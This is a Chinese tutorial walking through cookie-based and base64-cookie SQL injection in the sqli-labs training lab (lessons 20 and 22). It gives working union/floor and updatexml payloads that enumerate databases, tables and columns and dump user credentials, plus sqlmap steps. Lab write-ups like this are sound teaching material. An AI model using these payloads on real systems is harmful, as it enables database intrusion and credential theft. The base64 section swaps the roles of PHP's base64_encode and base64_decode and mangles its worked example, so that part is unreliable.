sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)

一)cookie注入
  1)cookie介绍
  2)cookie注入代码分析
  3)cookie注入利用
  4)sqlmap安全检测

二)cookie base64编码注入
  1)cookie介绍
  2)cookie注入代码分析
  3)cookie注入利用
  4)sqlmap安全检测

——————————————————————————————————————————————————


一)cookie注入

1)cookie介绍:

服务器可以利用cookie包含信息的任意性来筛选并经常性的维护这些信息,并以此判断HTTP传输中的状态。cookie最为经典的应用是判定注册用户是否经常登录网站,用户可能会得到提示,是否在下一次进入此网站是保留用户信息以便简化登录手续,这些都是cookie的功能;另一个重要应用场合是 “ 购物车 ”之类的处理,用户可能会在一段时间内在同一家网站的不同网页中选择不同的商品,而这些信息都会写(记录)cookie以便在最后付款时提取信息。

获取cookie值:

打开浏览器中的检查工具,输入 document.cookie 就可以获取cookie值:
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第1张图片
也可以通过burpsuite截获数据包,其中的HTTP请求头中查看cookie信息:
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第2张图片

2)cookie注入代码分析:

在下面的代码中使用cookie传递参数(有了用户可控的输入,也可以和数据库进行交互,因此有了SQL注入产生的两个前提条件),但是却没有对cookie传递的参数进行过滤操作(也就是没有check_input()),所以导致了SQL注入漏洞的产生。
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第3张图片
所呈现的页面效果:
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第4张图片

3)cookie注入利用:
我们一开始截获的数据包中是不含有cookie的:
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第5张图片
将数据包send to repeater再go进行登录,之后就会在右边的request框中看见“cookie-set”参数:
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第6张图片
点击 “follow redirection”再进入proxy模块forward之后就会看到cookie:uname…,此时就可以在uname位置进行注入:
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第7张图片
a)先判断是字符型还是数字型,用 \
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第8张图片
b)判断是字符型,所以采用 --+ 闭合

' or 1=1 --+

sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第9张图片
c)爆库:

方法一:(union select)
v' union select 1,2,3 from (select count(*),concat((select concat(schema_name,0x7e,0x7e)from information_schema.schemata  limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
【因为使用union select必须是union前半部分报错后半部分才能执行,所以我们就
  需要让前面的uname的值是一个错误的值】
  
方法二:(updatexml)
' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e ),1) or 1=1 --+

sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第10张图片
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第11张图片

d)爆表:

方法一:
v' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x7e,0x7e)from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

方法二:
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e ),1) or 1=1 --+

sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第12张图片
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第13张图片
e)爆字段:

方法一:
v' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x7e,0x7e) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1) ,floor(rand(0)*2))x from information_schema.tables group by x)a --+

方法二:
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),0x7e ),1)#

sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第14张图片
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第15张图片
f)dump数据:

方法一:
v' union select 1,2,3 from (select count(*),concat((select concat(username,0x7e,0x7e,password,0x7e,0x7e) from users limit 0,1) ,floor(rand(0)*2))x from information_schema.tables group by x)a --+

sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第16张图片

4)sqlmap安全检测:
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第17张图片
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第18张图片
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第19张图片

此时可以看到sqlmap的探测过程中cookie位置是存在SQL注入的:
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第20张图片
并且最终探测到了所有的SQL注入类型:
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第21张图片



二)cookie base64编码注入

1)base64介绍:

base64编码是从二进制到字符的过程,它可以用于在HTTP的环境下传递教程的标志信息。base64是网络上最为常见的用于传输8bit字节码的编码方式之一,它其实就是一种基于64个可打印的字符来表示二进制数据的方法。

Base64编码要求把3个8位字节(38=24)转化为4个6位的字节(46=24),之后在6位的前面补两个0,形成8位一个字节的形式。 当代码量不是3的整数倍时,代码量/3的余数自然就是2或者1。转换的时候,结果不够6位的用0来补上相应的位置,之后再在6位的前面补两个0。转换完空出的结果就用就用“=”来补位。每76个字符加一个换行符,最后的结束符也要处理(一般来说出现 == 就是结束了)进行编码的步骤:

1. 将字符串转换为二进制串(原本是3个8bit为一组);
2. 将二进制串分为以4个6bit为一组;
3. 每一组中的每一个6bit从左往右取之后高位补两个零形成一个新的字符串。
4. 查看BASE64编码表,编码的编号对应的是得出的新字节的十进制值。

例如15. 原本的字符串是“张3”,将它转换为二进制串是:1101010111000101001100113*8=246.4个6bit为一组,所以110101 011100 010100 110011为一组(4*6=247. 这一组中的每一个6bit从左往右取,之后高位补两个零,所以第一个6位:110101,之后高位补两个零:00110101;第二个6位:011100,之后高位补两个零:00011100;第三个6位:010100,之后高位补两个零:00010100;第四个6位:110011,之后高位补两个零:001100118. 形成新的二进制字符串:00110101 00011100 00010100 00110011
9. 最后得到的十进制串是:1cUz

sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第22张图片

2)cookie base64注入代码分析:

base64_decode(str)是PHP中用于base64加密字符串的函数,base64_encode(str)是PHP中用于base64解密字符串的函数。
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第23张图片

此时通过burpsuite抓获的包中的cookie中的uname不再直接显示为 admin 而是经过base64编码后的值:
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第24张图片
此时我们进入 decode模块,将uname的值进行解码(YWRtaW4%3D中的“%3D”其实是url编码后的=):
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第25张图片
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第26张图片

3)cookie base64 注入:

a)判断漏洞类型:加 \ 的base64编码:admin\ ====> YWRtaW5c
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第27张图片
其他步骤不再累赘详解,所需的payload其实就是前面的payload进行base64编码之后就可以使用了。


4)sqlmap安全检测:
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第28张图片
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第29张图片
此时发现对于base64编码我们需要有特殊的方式:
sqli-labs靶场实现(八)【cookie注入+cookie base64编码注入】(less-20、less-22、具体步骤+图文详解)_第30张图片



你可能感兴趣的:(sqli-labs靶场)